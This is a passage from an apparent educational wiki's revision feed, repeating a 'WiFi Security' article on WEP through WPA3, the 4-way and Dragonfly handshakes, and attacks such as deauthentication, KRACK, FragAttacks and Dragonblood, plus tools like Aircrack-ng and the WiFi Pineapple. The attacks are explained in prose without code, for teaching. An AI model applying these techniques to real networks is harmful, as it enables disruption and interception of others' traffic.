The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16783</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16783"/>
		<updated>2024-12-07T17:10:07Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Versions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP &lt;br /&gt;
&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP can not prevent Replay Attacks &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16782</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16782"/>
		<updated>2024-12-07T17:04:39Z</updated>

